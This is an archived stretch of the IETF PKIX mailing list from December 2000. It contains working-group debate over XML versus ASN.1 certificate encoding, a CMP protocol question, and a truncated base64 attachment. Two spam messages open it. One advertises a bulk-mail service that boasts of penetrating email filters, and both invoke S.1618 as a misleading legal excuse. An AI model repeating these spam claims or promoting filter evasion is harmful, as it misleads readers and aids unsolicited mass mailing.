(8.9.1a/8.9.1a) with SMTP id SAA04109 for ; Wed, 6 Dec 2000 18:32:57 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA16017; Wed, 6 Dec 2000 15:30:04 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Wed, 6 Dec 2000 15:28:32 -0800 Received: from powernet.com.eg (unassigned.future.com.eg [163.121.126.100] (may be forged)) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15920 for ; Wed, 6 Dec 2000 15:28:28 -0800 (PST) From: bn1bn2@yahoo.com Received: from yNOh51hb0 [63.28.123.13] by powernet.com.eg (SMTPD32-5.00) id A7B14ED0120; Mon, 04 Dec 2000 01:30:57 +0200 DATE: 03 Dec 00 3:36:43 PM Message-ID: SUBJECT: Holiday Special: Don't miss the savings! Precedence: bulk To: undisclosed-recipients:; List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Hurry!!! Time is running out. Thinking of getting a laptop computer for the holidays, or any occasions... Brand new name brand notebooks at up to 35% savings, compare around than call us 1-800-644-9584. We have thousands Notebook PC, PDAs, Digital Cameras, Parts and Accessories in stock for the holiday, anything you need, we can get you the lower prices. C o m p a q ================================================== Compaq Armada M700 $2199 Intel PIII 650 MHz, 128MB, 12.0GB, 14.1in TFT, 24X CD-ROM, 56 Kbps, 10/100 Ethernet Card, Windows NT 4.0 Compaq Presario 1200-XL125 $1379 AMD K6-2 533 MHz, 64MB , 6.0GB, 13.3in TFT, 8X DVD-ROM, 56Kbps , WIN98se Compaq Presario 1200-XL300 $1095 Intel Celeron 600 MHz, 64MB, 6.0GB, 13in HPA, 24X CD-ROM, 56K , Windows ME Compaq Presario 1200-XL325 $1499 Intel PIII 650 MHz, 64MB, 6.0GB, 13.3in TFT, 8X DVD-ROM, 56K , Windows ME Compaq Presario 1700-XL360 $1799 Intel PIII 600 MHz, 64MB, 10.0GB, 14.1in TFT, 8X DVD-ROM, 56K , Windows ME H P ==================================================== HP Omni Book 6000 $3499 Intel PIII 850MHz , 128 MB , 20GB, 15.1in TFT, 8X DVD-ROM, 56Kbps, Windows 2000 HP Pavilion N5150 $1499 Intel PIII 600 MHz, 64MB, 10.0GB , 13.3in TFT, 8X DVD-ROM, 56Kbps, Windows Millennium Edition HP Pavilion N5170 $1599 Intel PIII 600 MHz , 64MB, 7.0GB , 14.1in TFT, 8X DVD-ROM, 56Kbps, 10/100 Ethernet, Windows Millennium Edition HP Pavilion N5195 $2199 Intel PIII 700 MHz , 128MB , 20.0GB , 15.1in TFT, 8X DVD-ROM, 56Kbps, 10/100 Ethernet, Windows Millennium Edition S O N Y ==================================================== Sony VAIO PCG-F580 Notebook $2099 Intel PIII 650 MHz, 64MB, 12.0GB, 15.0in TFT, 8X DVD-ROM, 56K, Windows 98se Sony VAIO PCG-F650 Notebook $1889 Intel PIII 600 MHz, 64MB, 12.0GB, 14.1in TFT, 8X DVD-ROM, 56Kbps, Windows ME For more info or to place an order call: 1-800-644-9584 To Visit Our Site http://www.laptopland.com to find out more detail This message is being sent to you in compliance with the proposed Federal legislation for commercial e-mail (S.1618 - SECTION 301)."Pursuant to Section 301, Paragraph (a)(2)(C) of S. 1618, further transmissions to you by the sender of this e-mail may be stopped at no cost to you by submitting a request to be removed. INSTRUCTIONS- click here mailto:member9288@computerassociation.com?subject=removelist134 to be removed. From owner-ietf-pkix@imc.org Thu Dec 7 00:03:02 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA06064 for ; Thu, 7 Dec 2000 00:03:01 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id VAA23910; Wed, 6 Dec 2000 21:00:03 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Wed, 6 Dec 2000 20:58:20 -0800 Received: from bsd.gymparnr.sk (bsd.gymparnr.sk [195.168.176.67]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id UAA23499 for ; Wed, 6 Dec 2000 20:58:16 -0800 (PST) From: hjghjgjh@yahoo.com Received: (qmail 16810 invoked from network); 6 Dec 2000 00:18:35 -0000 Received: from 1cust62.tnt1.los-angeles.ca.da.uu.net (HELO uOxD5YC8u?) (63.57.183.62) by bsd.gymparnr.sk with SMTP; 6 Dec 2000 00:18:35 -0000 DATE: 05 Dec 00 4:38:11 PM Message-ID: SUBJECT: 1+1=2 Precedence: bulk To: undisclosed-recipients:; List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe The Internet's Finest and Most Reliable Bulk Email Provider! Since 1996, Tech Data Technologies has provided bulk email service to thousands of well-satisfied customers. We offer the most competitive prices in the industry, made possible by our high percentage of repeat business. We have the most advanced, direct email technology, employed by only a knowledgeable few in the world. Our expert programmers have made it possible for us to penetrate any email blocking filter in use. We have over 120 million active email addresses, increasing our list at the rate of half a million to one million a month. We will put your product or service instantly and directly into the hands of millions of prospects! You will have instant, guaranteed results, something no other form of marketing can claim. Our turn around time is a remarkable 24 hours. Our email addresses are sorted by country, state and target. Your marketing campaign will speed with pinpoint accuracy to your desired audience! Your message can be presented in any language you wish, as plain text if you desire simplicity, or in html with color and graphics. Call us for a free consultation at (323)- 851- 8386 [U.S.A.]. We are open 24 hours a day, 7 days a week. No one understands the global market like we do. For a limited time, take advantage of our holiday special -- two million general U.S. emails for just $450 per million! We include, at no cost, a bullet proof email address for 30 days, a $400 value! BULK EMAIL PRICES 500,000........................$375 750,000........................$562 1,200,000........................$720 1,600,000.................. ...$960 3,000,000......................$1,500 3,000,000+ ...................PLEASE CALL FOR A QUOTE Resellers welcome. We accept Visa, MasterCard and check by FAX. DON'T WAIT! LET TECH DATA TECHNOLOGIES BE YOUR PARTNER!! Under Bill s.1618 TITLE III passed by the 105th U.S. Congress this letter is not considered "spam" as long as we include: 1) contact information and, 2) the way to be removed from future mailings (see below).To Remove Yourself From This List: reply to this email with the email address that you would like removed and the word REMOVE in the subject heading. From owner-ietf-pkix@imc.org Thu Dec 7 03:40:14 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA00882 for ; Thu, 7 Dec 2000 03:40:13 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA19396; Thu, 7 Dec 2000 00:37:24 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 00:35:49 -0800 Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA19076; Thu, 7 Dec 2000 00:35:47 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailf.telia.com (8.9.3/8.9.3) with ESMTP id JAA12793; Thu, 7 Dec 2000 09:37:55 +0100 (CET) Received: from mega (t4o69p6.telia.com [62.20.145.126]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB78bso14699; Thu, 7 Dec 2000 09:37:54 +0100 (CET) Message-ID: <002c01c06028$ca234000$0201a8c0@vincent.se> From: "Anders Rundgren" To: "Stephen Kent" , "Tim Polk" , , "Paul Hoffman / IMC" References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> Subject: PKIXML session. Was: PKIX WG tentative agenda Date: Thu, 7 Dec 2000 09:36:24 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id AAA19079 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit Tim, What you are saying is that there _will_ be some kind of a PKIXML session (short but something at least) which I have asked Steve K to arrange in and off this list with no success. Unfortunately, I and few others cannot waste their precious time on things that are decided in the last minute with no previous information. As we have discussed this subject for a month or so, I am pretty disappointed on how PKIX handled this. OK, maybe it is a "win" in somebody's view that the loudest PKI-XML proponent (who still insists that this is a _market_ thing as well) will not be there... Anders > I am projecting a half hour for discussions on XML and PKI. So far, Phil > has requested time to describe XKMS. If you would like to present under > this general topic, please send me email. I will try to get everyone some > time to present their views. > > Thanks, > > Tim Polk From owner-ietf-pkix@imc.org Thu Dec 7 05:39:31 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA25181 for ; Thu, 7 Dec 2000 05:39:31 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id CAA08470; Thu, 7 Dec 2000 02:36:42 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 02:36:33 -0800 Received: from atsgw.cyber.ee (atsgw.cyber.ee [195.50.202.13]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA08435 for ; Thu, 7 Dec 2000 02:36:32 -0800 (PST) Received: from kiku.itsise (kiku.itsise [192.168.2.2]) by atsgw.cyber.ee (8.11.1/8.11.1) with ESMTP id eB7Acfo28319 for ; Thu, 7 Dec 2000 12:38:41 +0200 Received: from cyber.ee (dino.itsise [192.168.2.137]) by kiku.itsise (8.9.1a/8.9.1) with ESMTP id MAA16992 for ; Thu, 7 Dec 2000 12:38:41 +0200 Message-ID: <3A2F696B.D82AFDCD@cyber.ee> Date: Thu, 07 Dec 2000 12:41:47 +0200 From: Margus Freudenthal X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: ee,et,en MIME-Version: 1.0 To: PKIX list Subject: CMP question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Hello. The RFC 2510 (or its successor) does not define how one should respond to announcement messages (i.e. certificate announcement, revocation announcement, CRL announcement). In some cases (mostly for revocation) the sending party needs to know that the receiver has really got and understood the message. It seems to me that the receiver should reply with Confirmation to indicate that the message was OK or with ErrorMsgRep, if it wasn't. Any other suggestions? -- Margus Freudenthal margus@cyber.ee Cybernetica http://www.cyber.ee/ From owner-ietf-pkix@imc.org Thu Dec 7 07:35:24 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA08290 for ; Thu, 7 Dec 2000 07:35:24 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id EAA19483; Thu, 7 Dec 2000 04:32:33 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 04:32:25 -0800 Received: from certplus.com ([195.101.88.81]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id EAA19424 for ; Thu, 7 Dec 2000 04:32:22 -0800 (PST) Received: from certplus.com ([192.168.212.178]) by certplus.com (8.8.7/8.8.7) with ESMTP id NAA20416; Thu, 7 Dec 2000 13:38:03 +0100 Message-ID: <3A2F83AF.8726DAE7@certplus.com> Date: Thu, 07 Dec 2000 13:33:51 +0100 From: Jean-Marc Desperrier Organization: Certplus X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-pkix CC: Tim Polk Subject: Re: PKIX WG tentative agenda References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Tim Polk wrote: > I have attached the tentative agenda for next week's PKIX sessions. As > usual, we have a rather full agenda. Both days should be > interesting; we'll discuss the path validation protocols on Tuesday and > XML on Wednesday. In between, we'll cover the status of our twenty current > I-Ds. The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is finished, and that the draft is now under Area Director Review. What would be a tentative time-line until publication as an RFC, or until attribution of a RFC number ? From owner-ietf-pkix@imc.org Thu Dec 7 09:36:23 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA24756 for ; Thu, 7 Dec 2000 09:36:22 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA27277; Thu, 7 Dec 2000 06:32:12 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 06:32:01 -0800 Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA27232; Thu, 7 Dec 2000 06:31:59 -0800 (PST) Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA15130; Thu, 7 Dec 2000 09:34:01 -0500 (EST) Message-Id: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> X-Sender: wpolk@email.nist.gov X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Thu, 07 Dec 2000 09:31:49 -0500 To: "Anders Rundgren" , "Stephen Kent" , , "Paul Hoffman / IMC" From: Tim Polk Subject: Re: PKIXML session. Was: PKIX WG tentative agenda In-Reply-To: <002c01c06028$ca234000$0201a8c0@vincent.se> References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Anders, It is very important that we come to some consensus regarding how X.509-based PKIs can be integrated with XML-based clients. This topic is in my opinion within the scope of our charter. The PKIX WG has spent a lot of cycles on the list discussing this topic, so there is clearly interest. It makes sense to deal with it as much as we can during the session. I deferred this discussion to the end since it will consume any available time. This is very different from a session on XML-based PKIs, where ASN.1 is never used. That is the session I thought you were requesting, and it is well outside our charter. It is not my role or Steve's to be organizing such a session. To be honest, I personally believe that XML is an inappropriate encoding format for certificates (public key *or* attribute). I am sorry you assumed we wouldn't discuss PKI and XML at all. The discussion is incomplete if the "loudest PKI-XML proponent" (or opponent) is not present. Tim At 09:36 AM 12/7/00 +0100, Anders Rundgren wrote: >Tim, >What you are saying is that there _will_ be some kind of a PKIXML session >(short but something at least) >which I have asked Steve K to arrange in and off this list with no success. > >Unfortunately, I and few others cannot waste their precious time on things >that are decided >in the last minute with no previous information. As we have discussed this >subject for a month >or so, I am pretty disappointed on how PKIX handled this. OK, maybe it is >a "win" in somebody's >view that the loudest PKI-XML proponent (who still insists that this is a >_market_ thing as well) will >not be there... > >Anders > > > > > I am projecting a half hour for discussions on XML and PKI. So far, Phil > > has requested time to describe XKMS. If you would like to present under > > this general topic, please send me email. I will try to get everyone some > > time to present their views. > > > > Thanks, > > > > Tim Polk From owner-ietf-pkix@imc.org Thu Dec 7 10:16:19 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA01812 for ; Thu, 7 Dec 2000 10:16:18 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA29308; Thu, 7 Dec 2000 07:13:16 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 07:13:13 -0800 Received: from marcy.adiron.com ([128.230.111.5]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA29274 for ; Thu, 7 Dec 2000 07:13:08 -0800 (PST) Received: from localhost (polar@localhost) by marcy.adiron.com (8.9.1/8.9.0) with ESMTP id KAA04897; Thu, 7 Dec 2000 10:10:25 -0500 X-Authentication-Warning: marcy.adiron.com: polar owned process doing -bs Date: Thu, 7 Dec 2000 10:10:24 -0500 (EST) From: Polar Humenn To: Tim Polk cc: ietf-pkix@imc.org Subject: Re: PKIXML session. Was: PKIX WG tentative agenda In-Reply-To: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe On Thu, 7 Dec 2000, Tim Polk wrote: > To be honest, I personally believe that XML is an > inappropriate encoding format for certificates (public key *or* attribute). Forgive me, I'm just an academic. So, my I ask, what does the encoding format really matter? And especially, why is XML "inappropriate" for certificates? Cheers, -Polar ------------------------------------------------------------------- Polar Humenn Adiron, LLC mailto:polar@adiron.com 2-212 CST Phone: 315-443-3171 Syracuse, NY 13244-4100 Fax: 315-443-4745 http://www.adiron.com From owner-ietf-pkix@imc.org Thu Dec 7 10:21:46 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA02551 for ; Thu, 7 Dec 2000 10:21:46 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA29666; Thu, 7 Dec 2000 07:18:49 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 07:18:46 -0800 Received: from maile.telia.com (maile.telia.com [194.22.190.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA29634; Thu, 7 Dec 2000 07:18:44 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by maile.telia.com (8.9.3/8.9.3) with ESMTP id QAA16707; Thu, 7 Dec 2000 16:20:51 +0100 (CET) Received: from mega (t7o69p49.telia.com [213.65.46.49]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB7FKgo08298; Thu, 7 Dec 2000 16:20:42 +0100 (CET) Message-ID: <003101c06061$0f716dc0$0201a8c0@vincent.se> From: "Anders Rundgren" To: "Stephen Kent" , , "Paul Hoffman / IMC" , "Tim Polk" References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> Subject: Re: PKIXML session. Was: PKIX WG tentative agenda Date: Thu, 7 Dec 2000 16:19:12 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id HAA29635 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit Tim, Thanx for the answer. My idea was really that a BOF-like discussion should set the scope of PKIXML which could be very humble (add an optional message syntax as in SVCP and see if anybody likes it), to "rewriting it all XML". The latter will surely happen some day if the "trend" persists, but is unlikely to be priority #1, even for the loudest XML proponents. BTW, I have just read the S2ML 0.7a draft which is like an XML replacement for PKIX-ACs so the heat is already on [PKIX]. Regards Anders Rundgren ----- Original Message ----- From: "Tim Polk" To: "Anders Rundgren" ; "Stephen Kent" ; ; "Paul Hoffman / IMC" Sent: Thursday, December 07, 2000 15:31 Subject: Re: PKIXML session. Was: PKIX WG tentative agenda > Anders, > > It is very important that we come to some consensus regarding how > X.509-based PKIs can be integrated with XML-based clients. This topic is > in my opinion within the scope of our charter. The PKIX WG has spent a lot > of cycles on the list discussing this topic, so there is clearly > interest. It makes sense to deal with it as much as we can during the > session. I deferred this discussion to the end since it will consume any > available time. > > This is very different from a session on XML-based PKIs, where ASN.1 is > never used. That is the session I thought you were requesting, and it is > well outside our charter. It is not my role or Steve's to be organizing > such a session. To be honest, I personally believe that XML is an > inappropriate encoding format for certificates (public key *or* attribute). > > I am sorry you assumed we wouldn't discuss PKI and XML at all. The > discussion is incomplete if the "loudest PKI-XML proponent" (or opponent) > is not present. > > Tim > > At 09:36 AM 12/7/00 +0100, Anders Rundgren wrote: > >Tim, > >What you are saying is that there _will_ be some kind of a PKIXML session > >(short but something at least) > >which I have asked Steve K to arrange in and off this list with no success. > > > >Unfortunately, I and few others cannot waste their precious time on things > >that are decided > >in the last minute with no previous information. As we have discussed this > >subject for a month > >or so, I am pretty disappointed on how PKIX handled this. OK, maybe it is > >a "win" in somebody's > >view that the loudest PKI-XML proponent (who still insists that this is a > >_market_ thing as well) will > >not be there... > > > >Anders > > > > > > > > > I am projecting a half hour for discussions on XML and PKI. So far, Phil > > > has requested time to describe XKMS. If you would like to present under > > > this general topic, please send me email. I will try to get everyone some > > > time to present their views. > > > > > > Thanks, > > > > > > Tim Polk > From owner-ietf-pkix@imc.org Thu Dec 7 12:04:01 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA21540 for ; Thu, 7 Dec 2000 12:04:00 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA09770; Thu, 7 Dec 2000 09:00:38 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 09:00:11 -0800 Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA09716 for ; Thu, 7 Dec 2000 09:00:10 -0800 (PST) Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id MAA11052; Thu, 7 Dec 2000 12:02:20 -0500 (EST) Message-Id: <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> X-Sender: wpolk@email.nist.gov X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Thu, 07 Dec 2000 12:00:08 -0500 To: Polar Humenn From: Tim Polk Subject: Re: PKIXML session. Was: PKIX WG tentative agenda Cc: ietf-pkix@imc.org In-Reply-To: References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Polar, At 10:10 AM 12/7/00 -0500, Polar Humenn wrote: >On Thu, 7 Dec 2000, Tim Polk wrote: > > > > > To be honest, I personally believe that XML is an > > inappropriate encoding format for certificates (public key *or* attribute). > >Forgive me, I'm just an academic. So, my I ask, what does the encoding >format really matter? And especially, why is XML "inappropriate" for >certificates? > >Cheers, >-Polar I'm just a government hack, so take it for what it's worth: The W3C describes XML as "the universal format for structured documents *and data* on the Web" (my emphasis). One of the reasons given for putting data from into XML is that it "allows you, if necessary, to look at the data without the program that produced it." Hmm. I can accept XML for documents. I can rationalize XML for human-readable data (e.g., spreadsheet data). But certificates? I don't want to read certificates, I want to process them efficiently. This leaves us one "advantage" - it's the universal format. I see tow major problems with XML as a near term solution for certificates. Perhaps they can be resolved in the future, but they seem like issues today. First, I believe that significant work remains to handle signed XML at all. In its basic form, XML encoded documents can be modified without changing the document. That breaks signatures. Canonicalization techniques may fix that in the future, but they seem to be a major interoperability headache today. Secondly, XML certificates are going to bring a significant increase in size. One of the SPKI WG's premises was that X.509 certificates were too large already. Some of the wireless folks consider this an issue as well. How big do you expect an XML certificate to be? I don't have a crystal ball, but it seems that ASN.1 DER encoding serves our purpose. It has its warts, as Peter Gutmann's X.509 Style Guide demonstrates, but we know how to make it work. Tim Polk From owner-ietf-pkix@imc.org Thu Dec 7 12:32:25 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA29090 for ; Thu, 7 Dec 2000 12:32:24 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA12902; Thu, 7 Dec 2000 09:29:26 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 09:29:23 -0800 Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA12861 for ; Thu, 7 Dec 2000 09:29:22 -0800 (PST) Received: from [192.168.1.3] ([63.84.37.127]) by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G5700LQBJ2EDE@mta5.snfc21.pbi.net> for ietf-pkix@imc.org; Thu, 7 Dec 2000 08:56:41 -0800 (PST) Date: Thu, 07 Dec 2000 08:58:28 -0800 From: Aram Perez Subject: Re: PKIXML session. Was: PKIX WG tentative agenda In-reply-to: To: PKIX Message-id: MIME-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Polar Humenn wrote: > On Thu, 7 Dec 2000, Tim Polk wrote: > > > >> To be honest, I personally believe that XML is an >> inappropriate encoding format for certificates (public key *or* attribute). > > Forgive me, I'm just an academic. So, my I ask, what does the encoding > format really matter? And especially, why is XML "inappropriate" for > certificates? I'm not an academic, and I really don't care if I have to use ASN.1 or XML to transfer security related information. But I really would like to see an answer to Polar's questions. Feliz Navidad, Aram Perez From owner-ietf-pkix@imc.org Thu Dec 7 12:35:42 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA29822 for ; Thu, 7 Dec 2000 12:35:41 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA13409; Thu, 7 Dec 2000 09:32:26 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 09:32:23 -0800 Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA13377 for ; Thu, 7 Dec 2000 09:32:22 -0800 (PST) Received: from [192.168.1.3] ([63.84.37.127]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G57000FXKAI8P@mta6.snfc21.pbi.net> for ietf-pkix@imc.org; Thu, 7 Dec 2000 09:23:13 -0800 (PST) Date: Thu, 07 Dec 2000 09:25:17 -0800 From: Aram Perez Subject: FW: PKIXML session. Was: PKIX WG tentative agenda In-reply-to: To: PKIX Message-id: MIME-version: 1.0 Content-type: multipart/mixed; boundary="MS_Mac_OE_3059025917_272816_MIME_Part" User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --MS_Mac_OE_3059025917_272816_MIME_Part Content-type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Just for fun, I've attached the PKIX example #1 certificate converted from ASN.1 to XML. Enjoy, Aram Perez ---------- From: Aram Perez Date: Thu, 07 Dec 2000 08:58:28 -0800 To: PKIX Subject: Re: PKIXML session. Was: PKIX WG tentative agenda Polar Humenn wrote: > On Thu, 7 Dec 2000, Tim Polk wrote: > > > >> To be honest, I personally believe that XML is an >> inappropriate encoding format for certificates (public key *or* attribute). > > Forgive me, I'm just an academic. So, my I ask, what does the encoding > format really matter? And especially, why is XML "inappropriate" for > certificates? I'm not an academic, and I really don't care if I have to use ASN.1 or XML to transfer security related information. But I really would like to see an answer to Polar's questions. Feliz Navidad, Aram Perez --MS_Mac_OE_3059025917_272816_MIME_Part Content-type: text/plain; name="pkix-ex1.xml"; x-mac-creator="43574945"; x-mac-type="54455854" Content-disposition: attachment Content-Transfer-Encoding: base64 PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJ5ZXMiID8+DTxCRVIgRmlsZW5hbWU9 InBraXgtZXgxLmJlciIgPg08U0VRVUVOQ0UgTGVuZ3RoPSI2NTgiPg08U0VRVUVOQ0UgTGVu Z3RoPSI1OTQiPg08XzBfQ29udGV4dC1zcGVjaWZpYyBMZW5ndGg9IjMiPg08SU5URUdFUiBM ZW5ndGg9IjEiIFZhbHVlPSIyIj4NPC9JTlRFR0VSPg08L18wX0NvbnRleHQtc3BlY2lmaWM+ DTxJTlRFR0VSIExlbmd0aD0iMSIgVmFsdWU9IjAiPg08L0lOVEVHRVI+DTxTRVFVRU5DRSBM ZW5ndGg9IjkiPg08T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSI3IiBWYWx1ZT0ieyAxIDIg ODQwIDEwMDQwIDQgMyB9IGRzYVdpdGhTaGExIj4NPC9PQkpFQ1RfSURFTlRJRklFUj4NPC9T RVFVRU5DRT4NPFNFUVVFTkNFIExlbmd0aD0iNDIiPg08U0VUIExlbmd0aD0iMTEiPg08U0VR VUVOQ0UgTGVuZ3RoPSI5Ij4NPE9CSkVDVF9JREVOVElGSUVSIExlbmd0aD0iMyIgVmFsdWU9 